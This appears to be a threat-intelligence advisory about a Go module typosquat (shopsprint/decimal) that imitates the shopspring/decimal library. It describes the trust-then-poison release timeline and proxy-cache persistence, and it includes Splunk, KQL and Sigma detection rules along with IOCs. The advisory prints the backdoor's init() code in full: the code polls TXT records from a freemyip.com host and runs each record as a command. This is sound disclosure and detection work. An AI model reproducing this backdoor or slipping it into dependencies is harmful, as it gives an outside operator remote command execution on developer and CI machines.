# github.com/shopsprint/decimal Go Module Typosquat — 33-Month-Old DNS TXT Backdoor Against shopspring/decimal Supply Chain

> Socket Threat Research disclosed a long-running typosquat of github.com/shopspring/decimal (the de facto Go arbitrary-precision decimal library with 38,634 known importers across fintech, billing, crypto, and analytics codebases). The malicious package github.com/shopsprint/decimal — a single-character vendor-name swap — was first published 2017-11-08 and remained a benign source mirror for nearly six years before v1.3.3 was weaponized on 2023-08-19 09:27:21 UTC with an init() function that spawns a goroutine polling dnslog-cdn-images.freemyip.com every 5 minutes for DNS TXT records and executes each response through os/exec.Command. The GitHub source repository and shopsprint owner account have been deleted, but the Go Module Proxy (proxy.golang.org) continues to serve v1.3.3 on demand, giving the threat actor on-demand arbitrary command execution against any developer machine, CI runner, or production host that resolves the typosquat path.

- **Published:** 2026-05-20T12:00:00Z
- **Last reviewed:** 2026-05-20T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0535
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-shopsprint-decimal-typosquat-tl-2026-0535.webp?v=44d57f0f (Threadlinqs threat intel: shopsprint/decimal Go DNS TXT Backdoor: Detection & IOCs (TL-2026-0535) — High severity, 20 IOCs, 9 detection rules.)
- **ID:** TL-2026-0535
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** MONITORING
- **Detections:** 9 (1 shown free below) · **IOCs:** 20 (3 shown free below)

## Description

OVERVIEW

github.com/shopsprint/decimal is a malicious Go module that impersonates github.com/shopspring/decimal — the canonical Go library for fixed-point arbitrary-precision decimal arithmetic, used wherever a project handles money, ledger entries, exchange rates, billing math, or cryptocurrency amounts (Go's native float64 cannot represent monetary values without rounding error). The legitimate package has 38,634 known importers on pkg.go.dev. The typosquat differs by a single character at the end of the vendor name (shopspring -> shopsprint) and preserves the entire public API and source body of the upstream library, so importing projects compile, pass tests, and produce correct arithmetic results with no observable behavioral difference.

TRUST-THEN-POISON RELEASE TIMELINE

The typosquat was published with eight tagged versions between 2017 and 2023:
 - v1.0.0 (2017-11-08), v1.0.1 (2018-03-01), v1.1.0 (2018-07-09), v1.2.0 (2020-04-28), v1.3.0 (2021-10-13), v1.3.1 (2021-10-20): straight source mirrors of upstream tags, no malicious code.
 - v1.3.2 (2023-08-19 09:20:28 UTC): mirrored upstream bugfixes (a one-character comment typo correction and an arithmetic precision fix in Decimal.Mod). Still benign.
 - v1.3.3 (2023-08-19 09:27:21 UTC, exactly 7 minutes later): same v1.3.2 base plus an additional commit (2f0ee073c6f29d66188a845592029c9b52528f04) that adds the backdoor.

The back-to-back benign-then-malicious release pattern is the trust-then-poison technique Socket previously documented in the boltdb-go/bolt Go typosquat: a legitimate, low-impact release is shipped to establish recent maintenance activity, and the malicious release follows within minutes so that any developer who re-checks the package on the day of poisoning sees plausible, upstream-aligned activity. The combined operational picture is approximately six years of benign typosquat seeding followed by approximately thirty-three months of weaponized presence on the Go module ecosystem before disclosure.

PAYLOAD MECHANICS (FULL DIFF v1.3.2 -> v1.3.3, decimal.go)

Three changes are spliced into decimal.go:
 1. Import block extended with net, os/exec, and time. None of these are present in the upstream shopspring/decimal source at any tagged version. A pure arithmetic library has no documented reason to perform DNS resolution or process execution.
 2. A new init() function declared inside package decimal:
      func init(){
          go func(){
              for {
                  records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
                  if err != nil { time.Sleep(5 * time.Minute); continue }
                  for _, txt := range records {
                      cmd := exec.Command(txt)
                      cmd.CombinedOutput()
                  }
                  time.Sleep(5 * time.Minute)
              }
          }()
      }
 3. A spurious func main(){} appended at the end of the file. Because decimal.go declares package decimal (not package main), this main is dead code under any normal build; its presence is a forensic tell of sloppy authorship (likely a scratch file or AI-assisted scaffolding), not a functional component of the payload.

Go's package initialization model guarantees that every init() in a package runs before main() and before any exported function of the package can be called. Importing github.com/shopsprint/decimal anywhere in a project's dependency graph — direct or transitive — is therefore sufficient to start the C2 loop the moment the resulting binary runs. The loop is hosted in a detached goroutine that survives for the entire process lifetime, polls net.LookupTXT every 5 minutes, sleeps silently on DNS failure (no log line, no error propagation), and passes each TXT string directly to exec.Command(txt).CombinedOutput().

COMMAND AND CONTROL CHANNEL

The single hardcoded IOC inside the payload is dnslog-cdn-images.freemyip.com. The subdomain currently resolves to an A record of 8.8.8.8 (Google Public DNS); this is a decoy designed to give the host a routable address for tools that follow A records while the operator continues to drive the payload exclusively through TXT records. VirusTotal first analyzed the subdomain on 2024-08-07.

freemyip.com is a legitimate free dynamic-DNS provider. The provider itself is not malicious, but VirusTotal Intelligence shows freemyip.com hosting at least 40 subdomains with one or more malicious detections — phishing kits impersonating PayPal, Sberbank, and MetaMask; DGA-style randomized hostnames; and persistent C2/fraud subdomains with detection counts up to 14 across the AV stack. None of those clusters thematically overlap with this Go supply-chain operation, consistent with a separate operator standing up a fresh, low-noise subdomain on a known-abused but unrestricted DDNS host. Free DDNS gives the operator second-by-second control over the TXT record value with no registrar friction; using TXT instead of A or HTTPS evades the egress controls most likely to fire on a developer machine, where outbound HTTP is often inspected but outbound DNS rarely is.

exec.Command(txt) does not invoke a shell, so each TXT string must be a single absolute or PATH-resolvable program name with no arguments or metacharacters interpreted. This is not a meaningful constraint: the operator can stage a second-stage binary through an earlier command, then trigger it by publishing its path in TXT; or point TXT at any binary already on the system that produces useful side effects when run with no arguments (LOLBins, package managers, service control utilities, local privilege escalation tools).

GO MODULE PROXY PERSISTENCE

The GitHub source repository (https://github.com/shopsprint/decimal) and the shopsprint owner account (https://github.com/shopsprint) both return HTTP 404 — removed by the threat actor, GitHub abuse response, or an automated cleanup. The removal has no effect on reachability. proxy.golang.org caches Go module artifacts indefinitely as part of Go's reproducibility guarantee, and continues to serve every published version of github.com/shopsprint/decimal, including v1.3.3, on demand. A developer running `go get github.com/shopsprint/decimal@v1.3.3` today receives the malicious code with no warning, and the package is still listed on pkg.go.dev. The same persistence model was abused by the boltdb-go/bolt typosquat reported by Socket in 2025, where source scrubbing did not interrupt fetchability for years.

IMPACT AND BLAST RADIUS

Every machine that imports github.com/shopsprint/decimal@v1.3.3 and runs the resulting binary executes the init() goroutine for the lifetime of the process. The blast radius matches the privileges of whatever binary imports the package: a developer CLI inherits the developer's credentials; a containerized service inherits its mounted secrets and service account; a CI job inherits its repository tokens and deployment credentials. Persistence is automatic for the process lifetime and reattaches on every restart of any binary that imports the module — no filesystem persistence, registry change, scheduled task, or LaunchAgent is required. The persistence mechanism is the dependency itself. With a 5-minute beacon and silent error handling, an importing project can run for weeks before any operator command is delivered, with no observable artifact in process output, no entry in application logs, and no failed-DNS noise loud enough to draw attention. The thirty-three months between weaponization (2023-08-19) and disclosure (2026-05-19) puts a long upper bound on possible exposure for any project that pinned an unverified version of shopsprint/decimal.

ATTRIBUTION

No concrete attribution. The operator has tradecraft consistent with prior Go supply-chain typosquatters (trust-then-poison cadence, DDNS C2 staging, scrubbing the GitHub source after disclosure pressure). The selection of a fintech-adjacent library is suggestive of financial motivation but unconfirmed. Confidence: LOW.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1583.001 Acquire Infrastructure: Domains
- T1583.002 Acquire Infrastructure: DNS Server
- T1587.001 Develop Capabilities: Malware
- T1608.001 Stage Capabilities: Upload Malware
- T1195 Supply Chain Compromise
- T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
- T1059 Command and Scripting Interpreter
- T1129 Shared Modules
- T1106 Native API
- T1574 Hijack Execution Flow
- T1036 Masquerading
- T1036.005 Match Legitimate Resource Name or Location
- T1070.009 Indicator Removal: Clear Persistence
- T1071 Application Layer Protocol
- T1071.004 Application Layer Protocol: DNS
- T1568 Dynamic Resolution
- T1572 Protocol Tunneling
- T1105 Ingress Tool Transfer
- T1082 System Information Discovery

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Go Binary Parent Spawning Child argv0 Matching Recent DNS TXT Answer - Post-Exploitation Execution** (`TL-2026-0535-SPL-002`)

High-precision correlation: a Go-compiled binary issues a DNS TXT query, then within 5 seconds spawns a child whose argv[0] (with no further arguments) matches a string returned in the TXT answer. This is the exact post-exploitation pattern of the shopsprint/decimal v1.3.3 init() goroutine, which feeds DNS TXT values directly into os/exec.Command for fire-and-forget shell-less RCE.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1059, T1059.001, T1059.004, T1059.006, T1071.004
- **Data sources:** sysmon, edr, microsoft_defender_for_endpoint, dns_query_logs
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 OR EventCode=22)
| eval is_dns=if(EventCode==22, 1, 0)
| eval is_proc=if(EventCode==1, 1, 0)
| transaction ProcessGuid maxspan=10s
| where is_dns=1 AND is_proc=1
| where QueryType="TXT"
| eval txt_answers=split(QueryResults, ";")
| eval child_image_basename=replace(Image, "^.*[\\\\/]", "")
| eval child_image_noext=replace(child_image_basename, "\\.exe$", "")
| where mvfind(txt_answers, child_image_noext)>=0
| where CommandLine=Image
| stats count by ParentImage, Image, child_image_noext, QueryName
| eval threat="TL-2026-0535 shopsprint/decimal DNS-TXT-driven RCE"
| table ParentImage Image child_image_noext QueryName threat
```

### Microsoft KQL

```kql
let TxtQueries = DeviceEvents
    | where Timestamp > ago(24h)
    | where ActionType == "DnsQueryResponse"
    | extend QueryType = tostring(parse_json(AdditionalFields).QueryType)
    | where QueryType == "TXT"
    | extend TxtAnswers = tostring(parse_json(AdditionalFields).Results)
    | project DnsTime=Timestamp, DnsDevice=DeviceId, DnsParentPid=InitiatingProcessId, DnsParentImage=InitiatingProcessFileName, QueryName=RemoteUrl, TxtAnswers;
DeviceProcessEvents
| where Timestamp > ago(24h)
| join kind=inner TxtQueries on $left.DeviceId == $right.DnsDevice, $left.InitiatingProcessId == $right.DnsParentPid
| where Timestamp between (DnsTime .. (DnsTime + 5s))
| where ProcessCommandLine == FileName
| where TxtAnswers contains tostring(FileName)
| project Timestamp, DeviceName, DnsParentImage, FileName, ProcessCommandLine, QueryName, TxtAnswers
```

### Sigma

```yaml
title: Go Binary Child Process argv0 Matches Recent DNS TXT Answer (TL-2026-0535)
id: 7f3e9c02-0535-4002-b002-a0e7c2c00002
status: experimental
description: Correlates a process spawning a child within 5 seconds of issuing a DNS TXT query where child argv[0] (no further arguments) equals a string in the TXT answer. Models the shopsprint/decimal v1.3.3 init()-goroutine exec.Command(txt).CombinedOutput() pattern.
references:
  - https://socket.dev/research
author: AII-Detector - ThreadLinqs Intelligence
date: 2026/05/20
tags:
  - attack.execution
  - attack.t1059
  - attack.t1059.001
  - attack.command_and_control
  - attack.t1071.004
logsource:
  product: edr
  category: process_creation_correlated
detection:
  selection:
    parent_dns_query_type: 'TXT'
    parent_dns_to_child_seconds|lte: 5
    child_argv_count: 1
    child_argv0_in_parent_dns_txt_answers: true
  condition: selection
fields:
  - parent.image
  - child.image
  - parent.dns_query_name
  - parent.dns_txt_answers
falsepositives:
  - DNS-based service-discovery agents where TXT records intentionally name binaries
level: critical
```

**Known false positives:**

- DNS-based service-discovery agents (Consul, etcd) where TXT records intentionally name binaries
- Internal admin tooling that uses TXT records as a lookup table for binary names

**Tuning notes:** Whitelist known service-discovery agents (Consul, Nomad). Tighten by requiring parent process to have Go build ID marker (Sysmon EventCode 7 ImageLoaded with .note.go.buildid for ELF, or PE section .go.buildid). Adjust correlation window from 5s if cadence varies - the real beacon executes immediately on TXT receipt.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Developer or CI Host Resolving shopsprint/decimal Module Path - Exploitation (locked: unlock with TL Creds)
- Go-Compiled Binary Spawning Short-Lived Zero-Output Children - Post-Exploitation (locked: unlock with TL Creds)
- DNS TXT Lookup to [indicator] - C2 IOC Hit (locked: unlock with TL Creds)
- go.mod or go.sum Adding [indicator] - Supply-Chain Exploitation (locked: unlock with TL Creds)
- Go Source Diff Adding net + os/exec + time Imports to Compute-Only Module - Trust-Then-Poison Pattern (locked: unlock with TL Creds)
- Go Binary Issuing Periodic DNS TXT Lookup to Free DDNS Subdomain - C2 Beacon Sigma Rule (locked: unlock with TL Creds)
- Go Module Proxy Fetch of shopsprint/decimal Typosquat - Exploitation (locked: unlock with TL Creds)
- Periodic TXT-Only DNS Beacon to Free DDNS Subdomain - C2 Channel (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 20)

Defanged, TLP:CLEAR.

- IP address: `8.8.8[.]8`
- Domain: `freemyip[.]com`
- File hash: `dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086`

Full set of 20 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor (Socket / Kush Pandya)](https://socket.dev/blog/popular-go-decimal-library-typosquat-dns-backdoor)
- [Legitimate shopspring/decimal Go module on pkg.go.dev](https://pkg.go.dev/github.com/shopspring/decimal)
- [Malicious typosquat shopsprint/decimal listing on pkg.go.dev (still resolvable)](https://pkg.go.dev/github.com/shopsprint/decimal)
- [Go Module Proxy proxy.golang.org reference](https://proxy.golang.org/)
- [MITRE ATT&CK T1195.002 — Compromise Software Supply Chain](https://attack.mitre.org/techniques/T1195/002/)
- [MITRE ATT&CK T1071.004 — Application Layer Protocol: DNS](https://attack.mitre.org/techniques/T1071/004/)
- [MITRE ATT&CK T1568 — Dynamic Resolution](https://attack.mitre.org/techniques/T1568/)
- [MITRE ATT&CK T1572 — Protocol Tunneling](https://attack.mitre.org/techniques/T1572/)
- [MITRE ATT&CK T1036.005 — Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [MITRE ATT&CK T1583.001 — Acquire Infrastructure: Domains](https://attack.mitre.org/techniques/T1583/001/)
- [Socket prior research: boltdb-go/bolt Go typosquat using proxy-cache persistence (referenced precedent)](https://socket.dev/blog/malicious-package-exploits-go-module-proxy-caching-for-persistence)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0535
